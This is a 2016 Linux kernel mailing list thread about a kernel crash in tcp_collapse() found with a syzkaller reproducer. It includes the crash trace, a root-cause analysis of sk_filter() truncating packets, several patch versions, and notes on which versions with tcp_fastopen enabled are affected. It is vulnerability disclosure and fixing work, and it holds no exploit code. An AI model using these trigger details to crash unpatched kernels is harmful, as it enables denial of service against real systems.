> real reason (so another set of syscalls still may cause hitting the BUG()). This
> is why I'm emailing not only to stable@, but also to netdev@, asking to review the
> data above and probably develop a fix.

I do not believe c9c3321257 is a proper fix for this issue.

It only works around the bug for this specific use case, probably
because of :

+       /* In case all data was pulled from skb frags (in __pskb_pull_tail()),
+        * we can fix skb->truesize to its real value to avoid future drops.
+        * This is valid because skb is not yet charged to the socket.
+        * It has been noticed pure SACK packets were sometimes dropped
+        * (if cooked by drivers without copybreak feature).
+        */
+       if (!skb->data_len)
+               skb->truesize = SKB_TRUESIZE(skb_end_offset(skb));

Meaning that (tcp_win_from_space(skb->truesize) > skb->len) expression
result differs in tcp_collapse() later.

Re: BUG() can be hit in tcp_collapse()

[Eric Dumazet]

On Thu, 2016-11-10 at 07:44 -0800, Eric Dumazet wrote:
> On Thu, 2016-11-10 at 09:47 -0500, Vladis Dronov wrote:
> > Hello,
> > 
> > It was discovered by Marco Grassi <marco.gra@gmail.com> (many thanks) that the
> > latest stable Linux kernel v4.8.6 is crashing in tcp_collapse() after making
> > certain syscalls:
> > 
> > [    9.622886] kernel BUG at net/ipv4/tcp_input.c:4813!
> > [    9.623299] invalid opcode: 0000 [#1] SMP
> > [    9.623642] Modules linked in: iptable_nat nf_nat_ipv4 nf_nat
> > [    9.624287] CPU: 2 PID: 2871 Comm: poc Not tainted 4.8.6 #2
> > [    9.624730] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.8.2-20150714_191134- 04/01/2014
> > [    9.625459] task: ffff8801387b9a00 task.stack: ffff8801380e4000
> > [    9.625929] RIP: 0010:[<ffffffff8178d4ec>]  [<ffffffff8178d4ec>] tcp_collapse+0x3ac/0x3b0
> > [    9.626609] RSP: 0018:ffff8801380e7b78  EFLAGS: 00010282
> > [    9.627028] RAX: 00000000fffffff2 RBX: 0000000000000ec0 RCX: 0000000000000ec0
> > [    9.627587] RDX: ffff8801365cd000 RSI: 0000000000000000 RDI: ffff8801364106e0
> > [    9.628142] RBP: ffff8801380e7bc8 R08: 0000000000000000 R09: ffff88013b003300
> > [    9.628704] R10: ffff8801365cd000 R11: 0000000000000000 R12: 0000000000000ec0
> > [    9.629259] R13: ffff88013663ae00 R14: 00000000cdf0ca26 R15: ffff8801364106e0
> > [    9.629819] FS:  00007f2cef695800(0000) GS:ffff88013fc80000(0000) knlGS:0000000000000000
> > [    9.630945] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> > [    9.631655] CR2: 000000002002a000 CR3: 0000000139d46000 CR4: 00000000001406e0
> > [    9.632462] Stack:
> > [    9.632900]  0000000000000000 cdf0da2600000001 ffff880138050000 ffff8801380500a8
> > [    9.634138]  ffff880100000000 ffff880138050688 0000000000000900 ffff8801364136e0
> > [    9.635379]  ffff880138050000 ffff880138050688 ffff8801380e7c00 ffffffff8178d630
> > [    9.636622] Call Trace:
> > [    9.637087]  [<ffffffff8178d630>] tcp_try_rmem_schedule+0x140/0x380
> > [    9.637834]  [<ffffffff81791aa8>] tcp_data_queue+0x898/0xcf0
> > [    9.638538]  [<ffffffff8179210b>] tcp_rcv_established+0x20b/0x6c0
> > [    9.639268]  [<ffffffff81710143>] ? sk_reset_timer+0x13/0x30
> > [    9.639968]  [<ffffffff81813009>] tcp_v6_do_rcv+0x1b9/0x420
> > [    9.640666]  [<ffffffff81710b02>] __release_sock+0x82/0xf0
> > [    9.641353]  [<ffffffff81710b9b>] release_sock+0x2b/0x90
> > [    9.642029]  [<ffffffff817890ca>] tcp_sendmsg+0x55a/0xb60
> > [    9.642714]  [<ffffffff817b29d0>] inet_sendmsg+0x60/0x90
> > [    9.643389]  [<ffffffff8170c7b3>] sock_sendmsg+0x33/0x40
> > [    9.644064]  [<ffffffff8170ccee>] SYSC_sendto+0xee/0x160
> > [    9.645530]  [<ffffffff8170d6f9>] SyS_sendto+0x9/0x10
> > [    9.646190]  [<ffffffff81909df2>] entry_SYSCALL_64_fastpath+0x1a/0xa4
> > [    9.646947] Code: 48 c7 07 00 00 00 00 48 89 42 08 48 89 10 e8 cc 7e f8 ff 49 8b 47 30 48 8b 80 80 01 00 00 65 48 ff 80 b0 01 00 00 e9 72 fd ff ff <0f> 0b 66 90 55 48 89 e5 41 57 41 56 41 55 41 54 49 89 fe 53 8b 
> > [    9.651794] RIP  [<ffffffff8178d4ec>] tcp_collapse+0x3ac/0x3b0
> > [    9.652554]  RSP <ffff8801380e7b78>
> > 
> > The reproducer is generated by the syzkaller, please, see attached. The
> > following BUG() is hit:
> > 
> > [net/ipv4/tcp_input.c]
> > static void
> > tcp_collapse(struct sock *sk, struct sk_buff_head *list,
> >              struct sk_buff *head, struct sk_buff *tail,
> >              u32 start, u32 end)
> > {
> > ...
> > /* Copy data, releasing collapsed skbs. */
> > while (copy > 0) {
> >         int offset = start - TCP_SKB_CB(skb)->seq;
> >         int size = TCP_SKB_CB(skb)->end_seq - start;
> > 
> >         BUG_ON(offset < 0);
> >         if (size > 0) {
> >                 size = min(copy, size);
> > 4812:           if (skb_copy_bits(skb, offset, skb_put(nskb, size), size))
> > 4813:                   BUG();
> > 
> > /usr/src/linux-4.8.6/net/ipv4/tcp_input.c: 4812
> > 0xffffffff8178d390 <tcp_collapse+0x250>:        mov    %r12d,%esi
> > 0xffffffff8178d393 <tcp_collapse+0x253>:        callq  0xffffffff81713ce0 <skb_put>
> > 0xffffffff8178d398 <tcp_collapse+0x258>:        mov    -0x30(%rbp),%r8d
> > 0xffffffff8178d39c <tcp_collapse+0x25c>:        mov    %r12d,%ecx
> > 0xffffffff8178d39f <tcp_collapse+0x25f>:        mov    %rax,%rdx
> > 0xffffffff8178d3a2 <tcp_collapse+0x262>:        mov    %r15,%rdi
> > 0xffffffff8178d3a5 <tcp_collapse+0x265>:        mov    %r8d,%esi
> > 0xffffffff8178d3a8 <tcp_collapse+0x268>:        callq  0xffffffff81714b90 <skb_copy_bits>
> > 0xffffffff8178d3ad <tcp_collapse+0x26d>:        test   %eax,%eax
> > 0xffffffff8178d3af <tcp_collapse+0x26f>:        jne    0xffffffff8178d4ec <tcp_collapse+0x3ac>
> > ...
> > /usr/src/linux-4.8.6/net/ipv4/tcp_input.c: 4813
> > 0xffffffff8178d4ec <tcp_collapse+0x3ac>:        ud2    
> > 
> > I have checked that the reproducer can cause hitting this BUG() in the kernels
> > since, at least v4.0. I was not checking the earlier kernels except RHEL-7 ones
> > (3.10.0-xxx) which are not vulnerable.
> > 
> > The upstream kernels since v4.9-rc1 are not vulnerable too and I have bisected
> > the repo to the commit c9c3321257 which fixes the issue.
> > 
> > $ git tag --contain c9c3321257e1b95be9b375f811fb250162af8d39
> > v4.9-rc1
> > 
> > Stable v4.8.6 kernel with the c9c3321257 commit applied does not hit the BUG(),
> > so I believe this commit should be backported to the stable branch. This commit
> > applies cleanly to the v4.8.6 tree with just line offsets.
> > 
> > Meanwhile, I see that commit c9c3321257 just increases(?) an skb buffer(?)
> > (which fixes hitting the BUG() for this exact reproducer), but does not fix the
> > real reason (so another set of syscalls still may cause hitting the BUG()). This
> > is why I'm emailing not only to stable@, but also to netdev@, asking to review the
> > data above and probably develop a fix.
> 
> I do not believe c9c3321257 is a proper fix for this issue.
> 
> It only works around the bug for this specific use case, probably
> because of :
> 
> +       /* In case all data was pulled from skb frags (in __pskb_pull_tail()),
> +        * we can fix skb->truesize to its real value to avoid future drops.
> +        * This is valid because skb is not yet charged to the socket.
> +        * It has been noticed pure SACK packets were sometimes dropped
> +        * (if cooked by drivers without copybreak feature).
> +        */
> +       if (!skb->data_len)
> +               skb->truesize = SKB_TRUESIZE(skb_end_offset(skb));
> 
> Meaning that (tcp_win_from_space(skb->truesize) > skb->len) expression
> result differs in tcp_collapse() later.

The issue is that sk_filter() truncates an incoming packet to a smaller
value.

Bad things happen because TCP_SKB_CB(skb)->end_seq is not updated.

I guess other issues would also happen if the truncation also removes
part of tcp header.

sk_filter_trim_cap(sk, skb, tcp_hlen) would be needed,
or sk_filter_trim_cap(sk, skb, skb->len) to only ACCEPT/DROP packets,
but no truncations.

Re: BUG() can be hit in tcp_collapse()

[Eric Dumazet]

On Thu, 2016-11-10 at 11:26 -0800, Eric Dumazet wrote:

> The issue is that sk_filter() truncates an incoming packet to a smaller
> value.
> 
> Bad things happen because TCP_SKB_CB(skb)->end_seq is not updated.
> 
> I guess other issues would also happen if the truncation also removes
> part of tcp header.
> 
> sk_filter_trim_cap(sk, skb, tcp_hlen) would be needed,
> or sk_filter_trim_cap(sk, skb, skb->len) to only ACCEPT/DROP packets,
> but no truncations.

Something like :

diff --git a/net/ipv4/tcp_ipv4.c b/net/ipv4/tcp_ipv4.c
index 61b7be303eec..0b8f575eefaa 100644
--- a/net/ipv4/tcp_ipv4.c
+++ b/net/ipv4/tcp_ipv4.c
@@ -1676,7 +1676,7 @@ int tcp_v4_rcv(struct sk_buff *skb)
 
 	nf_reset(skb);
 
-	if (sk_filter(sk, skb))
+	if (sk_filter_trim_cap(sk, skb, skb->len))
 		goto discard_and_relse;
 
 	skb->dev = NULL;
diff --git a/net/ipv6/tcp_ipv6.c b/net/ipv6/tcp_ipv6.c
index 6ca23c2e76f7..2c7a6f7f1113 100644
--- a/net/ipv6/tcp_ipv6.c
+++ b/net/ipv6/tcp_ipv6.c
@@ -1229,7 +1229,7 @@ static int tcp_v6_do_rcv(struct sock *sk, struct sk_buff *skb)
 	if (skb->protocol == htons(ETH_P_IP))
 		return tcp_v4_do_rcv(sk, skb);
 
-	if (sk_filter(sk, skb))
+	if (sk_filter_trim_cap(sk, skb, skb->len))
 		goto discard;
 
 	/*

Re: BUG() can be hit in tcp_collapse()

[Eric Dumazet]

On Thu, 2016-11-10 at 11:49 -0800, Eric Dumazet wrote:
> On Thu, 2016-11-10 at 11:26 -0800, Eric Dumazet wrote:
> 
> > The issue is that sk_filter() truncates an incoming packet to a smaller
> > value.
> > 
> > Bad things happen because TCP_SKB_CB(skb)->end_seq is not updated.
> > 
> > I guess other issues would also happen if the truncation also removes
> > part of tcp header.
> > 
> > sk_filter_trim_cap(sk, skb, tcp_hlen) would be needed,
> > or sk_filter_trim_cap(sk, skb, skb->len) to only ACCEPT/DROP packets,
> > but no truncations.
> 
> Something like :

Another sk_filter() is used in tcp v6.
So the correct patch would be :

diff --git a/net/ipv4/tcp_ipv4.c b/net/ipv4/tcp_ipv4.c
index 61b7be303eec..0b8f575eefaa 100644
--- a/net/ipv4/tcp_ipv4.c
+++ b/net/ipv4/tcp_ipv4.c
@@ -1676,7 +1676,7 @@ int tcp_v4_rcv(struct sk_buff *skb)
 
 	nf_reset(skb);
 
-	if (sk_filter(sk, skb))
+	if (sk_filter_trim_cap(sk, skb, skb->len))
 		goto discard_and_relse;
 
 	skb->dev = NULL;
diff --git a/net/ipv6/tcp_ipv6.c b/net/ipv6/tcp_ipv6.c
index 6ca23c2e76f7..96525649a397 100644
--- a/net/ipv6/tcp_ipv6.c
+++ b/net/ipv6/tcp_ipv6.c
@@ -1229,7 +1229,7 @@ static int tcp_v6_do_rcv(struct sock *sk, struct sk_buff *skb)
 	if (skb->protocol == htons(ETH_P_IP))
 		return tcp_v4_do_rcv(sk, skb);
 
-	if (sk_filter(sk, skb))
+	if (sk_filter_trim_cap(sk, skb, skb->len))
 		goto discard;
 
 	/*
@@ -1457,7 +1457,7 @@ static int tcp_v6_rcv(struct sk_buff *skb)
 	if (tcp_v6_inbound_md5_hash(sk, skb))
 		goto discard_and_relse;
 
-	if (sk_filter(sk, skb))
+	if (sk_filter_trim_cap(sk, skb, skb->len))
 		goto discard_and_relse;
 
 	skb->dev = NULL;

[PATCH net] tcp: take care of truncations done by sk_filter()

[Eric Dumazet]

From: Eric Dumazet <edumazet@google.com>

With syzkaller help, Marco Grassi found a bug in TCP stack,
crashing in tcp_collapse()

Root cause is that sk_filter() can truncate the incoming skb,
but TCP stack was not really expecting this to happen.
It probably was expecting a simple DROP or ACCEPT behavior.

We first need to make sure no part of TCP header could be removed.
Then we need to adjust TCP_SKB_CB(skb)->end_seq

Many thanks to syzkaller team and Marco for giving us a reproducer.

Signed-off-by: Eric Dumazet <edumazet@google.com>
Reported-by: Marco Grassi <marco.gra@gmail.com>
Reported-by: Vladis Dronov <vdronov@redhat.com>
---
 include/net/tcp.h   |    1 +
 net/ipv4/tcp_ipv4.c |   17 ++++++++++++++++-
 net/ipv6/tcp_ipv6.c |    5 +++--
 3 files changed, 20 insertions(+), 3 deletions(-)

diff --git a/include/net/tcp.h b/include/net/tcp.h
index 304a8e17bc87..b572f722dbdc 100644
--- a/include/net/tcp.h
+++ b/include/net/tcp.h
@@ -1220,6 +1220,7 @@ static inline void tcp_prequeue_init(struct tcp_sock *tp)
 
 bool tcp_prequeue(struct sock *sk, struct sk_buff *skb);
 bool tcp_add_backlog(struct sock *sk, struct sk_buff *skb);
+struct tcphdr *tcp_filter(struct sock *sk, struct sk_buff *skb);
 
 #undef STATE_TRACE
 
diff --git a/net/ipv4/tcp_ipv4.c b/net/ipv4/tcp_ipv4.c
index 61b7be303eec..cad14d1bc5a5 100644
--- a/net/ipv4/tcp_ipv4.c
+++ b/net/ipv4/tcp_ipv4.c
@@ -1564,6 +1564,20 @@ bool tcp_add_backlog(struct sock *sk, struct sk_buff *skb)
 }
 EXPORT_SYMBOL(tcp_add_backlog);
 
+struct tcphdr *tcp_filter(struct sock *sk, struct sk_buff *skb)
+{
+	struct tcphdr *th = (struct tcphdr *)skb->data;
+	unsigned int eaten = skb->len;
+
+	if (sk_filter_trim_cap(sk, skb, th->doff * 4))
+		return NULL;
+	eaten -= skb->len;
+	TCP_SKB_CB(skb)->end_seq -= eaten;
+
+	return (struct tcphdr *)skb->data;
+}
+EXPORT_SYMBOL(tcp_filter);
+
 /*
  *	From tcp_input.c
  */
@@ -1676,7 +1690,8 @@ int tcp_v4_rcv(struct sk_buff *skb)
 
 	nf_reset(skb);
 
-	if (sk_filter(sk, skb))
+	th = tcp_filter(sk, skb);
+	if (!th)
 		goto discard_and_relse;
 
 	skb->dev = NULL;
diff --git a/net/ipv6/tcp_ipv6.c b/net/ipv6/tcp_ipv6.c
index 6ca23c2e76f7..208552750550 100644
--- a/net/ipv6/tcp_ipv6.c
+++ b/net/ipv6/tcp_ipv6.c
@@ -1229,7 +1229,7 @@ static int tcp_v6_do_rcv(struct sock *sk, struct sk_buff *skb)
 	if (skb->protocol == htons(ETH_P_IP))
 		return tcp_v4_do_rcv(sk, skb);
 
-	if (sk_filter(sk, skb))
+	if (!tcp_filter(sk, skb))
 		goto discard;
 
 	/*
@@ -1457,7 +1457,8 @@ static int tcp_v6_rcv(struct sk_buff *skb)
 	if (tcp_v6_inbound_md5_hash(sk, skb))
 		goto discard_and_relse;
 
-	if (sk_filter(sk, skb))
+	th = tcp_filter(sk, skb);
+	if (!th)
 		goto discard_and_relse;
 
 	skb->dev = NULL;

Re: [PATCH net] tcp: take care of truncations done by sk_filter()

[Eric Dumazet]

On Thu, 2016-11-10 at 12:50 -0800, Eric Dumazet wrote:
> From: Eric Dumazet <edumazet@google.com>
> 
> With syzkaller help, Marco Grassi found a bug in TCP stack,
> crashing in tcp_collapse()


I will send a v2, we need to reload iph, not only th.

[PATCH v2 net] tcp: take care of truncations done by sk_filter()

[Eric Dumazet]

From: Eric Dumazet <edumazet@google.com>

With syzkaller help, Marco Grassi found a bug in TCP stack,
crashing in tcp_collapse()

Root cause is that sk_filter() can truncate the incoming skb,
but TCP stack was not really expecting this to happen.
It probably was expecting a simple DROP or ACCEPT behavior.

We first need to make sure no part of TCP header could be removed.
Then we need to adjust TCP_SKB_CB(skb)->end_seq

Many thanks to syzkaller team and Marco for giving us a reproducer.

Signed-off-by: Eric Dumazet <edumazet@google.com>
Reported-by: Marco Grassi <marco.gra@gmail.com>
Reported-by: Vladis Dronov <vdronov@redhat.com>
---
v2: reload both th/iph in case skb->head changed.

 include/net/tcp.h   |    1 +
 net/ipv4/tcp_ipv4.c |   19 ++++++++++++++++++-
 net/ipv6/tcp_ipv6.c |    6 ++++--
 3 files changed, 23 insertions(+), 3 deletions(-)

diff --git a/include/net/tcp.h b/include/net/tcp.h
index 304a8e17bc87..123979fe12bf 100644
--- a/include/net/tcp.h
+++ b/include/net/tcp.h
@@ -1220,6 +1220,7 @@ static inline void tcp_prequeue_init(struct tcp_sock *tp)
 
 bool tcp_prequeue(struct sock *sk, struct sk_buff *skb);
 bool tcp_add_backlog(struct sock *sk, struct sk_buff *skb);
+int tcp_filter(struct sock *sk, struct sk_buff *skb);
 
 #undef STATE_TRACE
 
diff --git a/net/ipv4/tcp_ipv4.c b/net/ipv4/tcp_ipv4.c
index 61b7be303eec..2259114c7242 100644
--- a/net/ipv4/tcp_ipv4.c
+++ b/net/ipv4/tcp_ipv4.c
@@ -1564,6 +1564,21 @@ bool tcp_add_backlog(struct sock *sk, struct sk_buff *skb)
 }
 EXPORT_SYMBOL(tcp_add_backlog);
 
+int tcp_filter(struct sock *sk, struct sk_buff *skb)
+{
+	struct tcphdr *th = (struct tcphdr *)skb->data;
+	unsigned int eaten = skb->len;
+	int err;
+
+	err = sk_filter_trim_cap(sk, skb, th->doff * 4);
+	if (!err) {
+		eaten -= skb->len;
+		TCP_SKB_CB(skb)->end_seq -= eaten;
+	}
+	return err;
+}
+EXPORT_SYMBOL(tcp_filter);
+
 /*
  *	From tcp_input.c
  */
@@ -1676,8 +1691,10 @@ int tcp_v4_rcv(struct sk_buff *skb)
 
 	nf_reset(skb);
 
-	if (sk_filter(sk, skb))
+	if (tcp_filter(sk, skb))
 		goto discard_and_relse;
+	th = (const struct tcphdr *)skb->data;
+	iph = ip_hdr(skb);
 
 	skb->dev = NULL;
 
diff --git a/net/ipv6/tcp_ipv6.c b/net/ipv6/tcp_ipv6.c
index 6ca23c2e76f7..b9f1fee9a886 100644
--- a/net/ipv6/tcp_ipv6.c
+++ b/net/ipv6/tcp_ipv6.c
@@ -1229,7 +1229,7 @@ static int tcp_v6_do_rcv(struct sock *sk, struct sk_buff *skb)
 	if (skb->protocol == htons(ETH_P_IP))
 		return tcp_v4_do_rcv(sk, skb);
 
-	if (sk_filter(sk, skb))
+	if (tcp_filter(sk, skb))
 		goto discard;
 
 	/*
@@ -1457,8 +1457,10 @@ static int tcp_v6_rcv(struct sk_buff *skb)
 	if (tcp_v6_inbound_md5_hash(sk, skb))
 		goto discard_and_relse;
 
-	if (sk_filter(sk, skb))
+	if (tcp_filter(sk, skb))
 		goto discard_and_relse;
+	th = (const struct tcphdr *)skb->data;
+	hdr = ipv6_hdr(skb);
 
 	skb->dev = NULL;
 

Re: [PATCH v2 net] tcp: take care of truncations done by sk_filter()

[David Miller]

From: Eric Dumazet <eric.dumazet@gmail.com>
Date: Thu, 10 Nov 2016 13:12:35 -0800

> From: Eric Dumazet <edumazet@google.com>
> 
> With syzkaller help, Marco Grassi found a bug in TCP stack,
> crashing in tcp_collapse()
> 
> Root cause is that sk_filter() can truncate the incoming skb,
> but TCP stack was not really expecting this to happen.
> It probably was expecting a simple DROP or ACCEPT behavior.
> 
> We first need to make sure no part of TCP header could be removed.
> Then we need to adjust TCP_SKB_CB(skb)->end_seq
> 
> Many thanks to syzkaller team and Marco for giving us a reproducer.
> 
> Signed-off-by: Eric Dumazet <edumazet@google.com>
> Reported-by: Marco Grassi <marco.gra@gmail.com>
> Reported-by: Vladis Dronov <vdronov@redhat.com>
> ---
> v2: reload both th/iph in case skb->head changed.

Applied and queued up for -stable, thanks Eric.

Re: BUG() can be hit in tcp_collapse()

[Vladis Dronov]

Hello, Eric,

> Another sk_filter() is used in tcp v6.
> So the correct patch would be :

Thank you much for your research. I'm happy my report
has resulted as the proposed patch.

Best regards,
Vladis Dronov | Red Hat, Inc. | Product Security Engineer

Re: BUG() can be hit in tcp_collapse()

[Vladis Dronov]

Hello, Eric, Marco, all,

This is JFYI and a follow-up message.

A further investigation was made to find out the Linux kernel commit which has
introduced the flaw. It appeared that previous Linux kernel versions are vulnerable,
down to v3.6-rc1. This fact was hidden by 'net.ipv4.tcp_fastopen' set to 0 by default,
and now it is easier to notice since kernel v3.12 due to commit 0d41cca490 where the
default was changed to 1. With 'net.ipv4.tcp_fastopen' set to 1, previous Linux
kernels (including RHEL-7 ones) are also vulnerable.

The bug is here since tcp-fastopen feature was introduced in kernel v3.6-rc1, the first
commit when the reproducer starts to panic the kernel with net.ipv4.tcp_fastopen=1 set
is cf60af03ca, which is a part of commit sequence 2100c8d2d9..67da22d23f introducing
net-tcp-fastopen feature:

$ git bisect bad cf60af03ca4e71134206809ea892e49b92a88896
cf60af03ca4e71134206809ea892e49b92a88896 is the first bad commit
commit cf60af03ca4e71134206809ea892e49b92a88896
Author: Yuchung Cheng <ycheng@google.com>
Date:   Thu Jul 19 06:43:09 2012 +0000

So, ideally, the upstream commit ac6e780070 which fixes the bug should have
"Fixes: cf60af03ca" statement, unfortunately, this investigation was not completed at
the time the patch was accepted upstream. And unfortunately I do not see other way
to add this information except making notes in a comment in the related code, which
seems weird.

Best regards,
Vladis Dronov | Red Hat, Inc. | Product Security Engineer

Re: BUG() can be hit in tcp_collapse()

[Eric Dumazet]

On Wed, 2016-11-30 at 12:00 -0500, Vladis Dronov wrote:
> Hello, Eric, Marco, all,
> 
> This is JFYI and a follow-up message.
> 
> A further investigation was made to find out the Linux kernel commit which has
> introduced the flaw. It appeared that previous Linux kernel versions are vulnerable,
> down to v3.6-rc1. This fact was hidden by 'net.ipv4.tcp_fastopen' set to 0 by default,
> and now it is easier to notice since kernel v3.12 due to commit 0d41cca490 where the
> default was changed to 1. With 'net.ipv4.tcp_fastopen' set to 1, previous Linux
> kernels (including RHEL-7 ones) are also vulnerable.
> 
> The bug is here since tcp-fastopen feature was introduced in kernel v3.6-rc1, the first
> commit when the reproducer starts to panic the kernel with net.ipv4.tcp_fastopen=1 set
> is cf60af03ca, which is a part of commit sequence 2100c8d2d9..67da22d23f introducing
> net-tcp-fastopen feature:
> 
> $ git bisect bad cf60af03ca4e71134206809ea892e49b92a88896
> cf60af03ca4e71134206809ea892e49b92a88896 is the first bad commit
> commit cf60af03ca4e71134206809ea892e49b92a88896
> Author: Yuchung Cheng <ycheng@google.com>
> Date:   Thu Jul 19 06:43:09 2012 +0000
> 
> So, ideally, the upstream commit ac6e780070 which fixes the bug should have
> "Fixes: cf60af03ca" statement, unfortunately, this investigation was not completed at
> the time the patch was accepted upstream. And unfortunately I do not see other way
> to add this information except making notes in a comment in the related code, which
> seems weird.

Well, the crash can happen way before Yuchung patch.

It is a 0-day bug.